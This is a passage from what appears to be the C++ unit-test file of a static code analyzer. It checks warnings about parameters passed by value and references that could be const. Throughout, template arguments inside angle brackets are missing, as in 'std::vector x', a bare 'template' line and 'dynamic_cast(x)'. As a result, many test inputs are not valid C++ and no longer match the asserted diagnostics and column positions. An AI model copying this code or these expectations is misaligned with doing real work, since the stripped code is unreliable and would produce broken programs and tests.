std::uint8_t { E0 };\\n\"\n \" static void f(S::E e) {\\n\"\n \" if (e == S::E::E0) {}\\n\"\n \" }\\n\"\n \" char a[20];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v[2]);\\n\" // #13052\n \"void g(const std::vector v[2]);\\n\"\n \"void g(const std::vector v[2]) {}\\n\"\n \"int h(const std::array, 2> a) { return a[0][0]; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (performance) Function parameter 'a' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::array a[]) {}\\n\"); // #13524\n ASSERT_EQUALS(\"\", errout_str());\n\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using ui64 = unsigned __int64;\\n\"\n \"ui64 Test(ui64 one, ui64 two) { return one + two; }\\n\",\n /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_nonConst() {\n check(\"void f(std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" return str + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cout << str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cin >> str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:18]: (style) Variable 's2' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" const std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" str = \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" foo(str);\\n\" // It could be that foo takes str as non-const-reference\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::string* str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(&str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i1, const std::string& str, int& i2);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo((a+b)*c, str, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::string f(std::string str) {\\n\"\n \" str += x;\\n\"\n \" return str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" std::string s;\\n\"\n \" void func() const;\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" void func(std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(std::string str) {}\\n\" // Do not warn about virtual functions, if 'str' is not declared as const\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" char a[1024];\\n\"\n \"};\\n\"\n \"class Y : X {\\n\"\n \" char b;\\n\"\n \"};\\n\"\n \"void f(Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \"};\\n\"\n \"class Y {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \" char c;\\n\"\n \"};\\n\"\n \"void f(X x, Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:15]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n {\n // 8-byte data should be passed by const reference on 32-bit platform but not on 64-bit platform\n const char code[] = \"class X {\\n\"\n \" uint64_t a;\\n\"\n \" uint64_t b;\\n\"\n \"};\\n\"\n \"void f(X x) {}\";\n\n /*const*/ Settings s32 = settingsBuilder(_settings).platform(Platform::Type::Unix32).build();\n check(code, &s32);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings s64 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(code, &s64);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"Writer* getWriter();\\n\"\n \"\\n\"\n \"void foo(Buffer& buffer) {\\n\"\n \" getWriter()->operator<<(buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_externC() {\n check(\"struct X { int a[5]; }; void f(X v) { }\");\n ASSERT_EQUALS(\"[test.cpp:1:34]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(X v) { } }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; void f(const X v);\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(const X v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(const X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constVariable() {\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:10]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" const int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" static int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" x.push_back(1);\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" x[0]++;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a = 1;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a(); };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a();\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int& x);\\n\"\n \"int f(std::vector& x) {\\n\"\n \" g(x[0]);\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T&& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\\n\"\n \"void h() { std::vector v; h(v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& x) {\\n\"\n \" return std::move(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::ostream& os) {\\n\"\n \" os << \\\"Hello\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int& x) {\\n\"\n \" g(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A{&x};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int& y) {\\n\"\n \" y++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(int& y) : x(&y) {}\\n\"\n \" int * x = nullptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void swap(A& a) {\\n\"\n \" v.swap(a.v);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" template\\n\"\n \" void f();\\n\"\n \" template\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void g(A& a) {\\n\"\n \" a.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto&& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'x' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #10980\n \" for (int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:6:16]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(const auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" int& j = i;\\n\"\n \" j++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int& i = v[0];\\n\"\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map >& m, unsigned int i) {\\n\"\n \" std::map& members = m[i];\\n\"\n \" members.clear();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int& x;\\n\"\n \" A(int& y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" A(int& x);\\n\"\n \"};\\n\"\n \"struct B : A {\\n\"\n \" B(int& x) : A(x)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int& x, int& y) {\\n\"\n \" auto& z = x;\\n\"\n \" auto& w = b ? y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"int& f(S& s) {\\n\"\n \" return s.i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::list& x, unsigned int y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return &m;\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::list& x, int& y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool from_string(int& t, const std::string& s) {\\n\"\n \" std::istringstream iss(s);\\n\"\n \" return !(iss >> t).fail();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9710\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n //cast or assignment to a non-const reference should prevent the warning\n check(\"struct T { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const T& z = x;\\n\" // Make sure we find all assignments\n \" T& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = x\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::type& y = x;\\n\" // we don't know if y is const or not\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x)\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U const * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::fancy const * const * const y = dynamic_cast const * const * const>(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (typename const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (typename U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = (U*)(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct C { void f() const; };\\n\" // #9875 - crash\n \"\\n\"\n \"void foo(C& x) {\\n\"\n \" x.f();\\n\"\n \" foo( static_cast(0) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"class a {\\n\"\n \" void foo(const int& i) const;\\n\"\n \" void operator()(int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n // #9767\n check(\"void fct1(MyClass& object) {\\n\"\n \" fct2([&](void){}, object);\\n\"\n \"}\\n\"\n \"bool fct2(std::function lambdaExpression, MyClass& object) {\\n\"\n \" object.modify();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9778\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B& f(A& x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10002\n check(\"using A = int*;\\n\"\n \"void f(const A& x) {\\n\"\n \" ++(*x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10086\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i) {\\n\"\n \" std::vector& arr = v;\\n\"\n \" return arr[i];\\n\"\n \" }\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void e();\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void ai(void);\\n\"\n \"void j(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void l(void);\\n\"\n \"void m(void);\\n\"\n \"void n(void);\\n\"\n \"void o(void);\\n\"\n \"void q(void);\\n\"\n \"void r(void);\\n\"\n \"void t(void);\\n\"\n \"void u(void);\\n\"\n \"void v(void);\\n\"\n \"void w(void);\\n\"\n \"void z(void);\\n\"\n \"void aj(void);\\n\"\n \"void am(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void ao(wchar_t *d);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void 